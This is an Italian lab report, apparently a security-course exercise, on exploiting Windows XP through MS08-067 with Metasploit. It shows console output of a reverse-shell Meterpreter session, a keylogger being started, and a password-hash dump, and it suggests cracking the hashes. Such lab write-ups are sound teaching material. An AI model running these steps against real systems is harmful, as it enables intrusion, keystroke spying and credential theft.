

Report Attacco a Windows XP

Per effettuare questo attacco abbiamo sfruttato una vulnerabilità di Windows XP, tramite il framework Metasploit. Per cominciare abbiamo fatto partire il comando **search MS08-067**, per ottenere il path della vulnerabilità che vogliamo utilizzare. Una volta fatto ciò abbiamo configurato l'IP target e fatto partire l'exploit.

```
(-) Unknown command: srt
msf6 exploit(windows/smb/ms08_067_netapi) > srt RHOSTS 192.168.1.110
(-) Unknown command: srt
msf6 exploit(windows/smb/ms08_067_netapi) > set RHOSTS 192.168.1.110
RHOSTS => 192.168.1.110
msf6 exploit(windows/smb/ms08_067_netapi) > exploit

[*] Started reverse TCP handler on 192.168.1.25:4444
[*] 192.168.1.110:445 - Automatically detecting the target...
[*] 192.168.1.110:445 - Fingerprint: Windows XP - Service Pack 3 - lang:Italian
[*] 192.168.1.110:445 - Selected Target: Windows XP SP3 Italian (NX)
[*] 192.168.1.110:445 - Attempting to trigger the vulnerability...
[*] Sending stage (175686 bytes) to 192.168.1.110
[*] Meterpreter session 1 opened (192.168.1.25:4444 -> 192.168.1.110:1034) at 2024-03-06 04:12:11 -0500

meterpreter > ifconfig

Interface 1
=====
Name       : MS TCP Loopback interface
Hardware MAC : 00:00:00:00:00:00
MTU        : 1520
IPv4 Address : 127.0.0.1

Interface 2
=====
Name       : Scheda server Intel(R) PRO/1000 Gigabit - Miniport dell'Utilit  di pianificazione pacchetti
Hardware MAC : 08:00:27:2b:d8:73
MTU        : 1500
IPv4 Address : 192.168.1.110
IPv4 Netmask : 255.255.255.0

meterpreter > |
```

Per essere sicuri di trovarci all'interno della macchina target effettuiamo un ifconfig e come vediamo s , siamo dentro la macchina windows xp.

Una volta fatto ci , su richiesta dell'esercizio, andiamo a vedere se sono presenti delle webcam tramite il comando **webcam_list**

```
meterpreter > webcam_list
[-] No webcams were found
```

Nessuna webcam trovata.

Successivamente possiamo utilizzare i comandi di meterpreter per divertirci all'interno della macchina windows xp, infatti utilizziamo il comando **getcountermeasure** per vedere se i sistemi di sicurezza della macchina sono abilitati o meno:

```

meterpreter > run getcountermeasure

[!] Meterpreter scripts are deprecated. Try post/windows/manage/killav.
[!] Example: run post/windows/manage/killav OPTION=value [ ... ]
[*] Running Getcountermeasure on the target...
[*] Checking for contermesures ...
[*] Getting Windows Built in Firewall configuration...
[*]
[*] Configurazione profilo Domain:
[*] -----
[*] Modalit  operativa = Enable
[*] Modalit  eccezioni = Enable
[*]
[*] Configurazione profilo Standard (corrente):
[*] -----
[*] Modalit  operativa = Disable
[*] Modalit  eccezioni = Enable
[*]
[*] Configurazione firewall Connessione alla rete locale (LAN):
[*] -----
[*] Modalit  operativa = Enable
[*]
[*] Checking DEP Support Policy ...
meterpreter >

```

Come vediamo il firewall   disabilitato (lo abbiamo disabilitato noi).

Successivamente possiamo inserire un keylogger tramite il comando **keylogrecorder** e tutte le registrazioni verranno salvate nella cartella **192.168.1.110_20240306.txt**

```

meterpreter > run keylogrecorder

[!] Meterpreter scripts are deprecated. Try post/windows/capture/keylog_recorder.
[!] Example: run post/windows/capture/keylog_recorder OPTION=value [ ... ]
[*] Starting the keystroke sniffer...
[*] Keystrokes being saved in to /home/kali/.msf4/logs/scripts/keylogrecorder/192.168.1.110_20240306.3244.txt
[*] Recording

```

Infine possiamo recuperare le password in hash degli utenti presenti nella macchina tramite il comando **hashdump** e decryptarle successivamente magari utilizzando **John the Ripper**.

```

meterpreter > hashdump
Administrator:500:44efce164ab921caaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
HelpAssistant:1000:3d7d487547eed64c1619f4b1374e06bc:16e35122e62e015710852976d140facd:::
SUPPORT_388945a0:1002:aad3b435b51404eeaad3b435b51404ee:c41e66a68d4f02e198c2b062fd8c8584:::
meterpreter >

```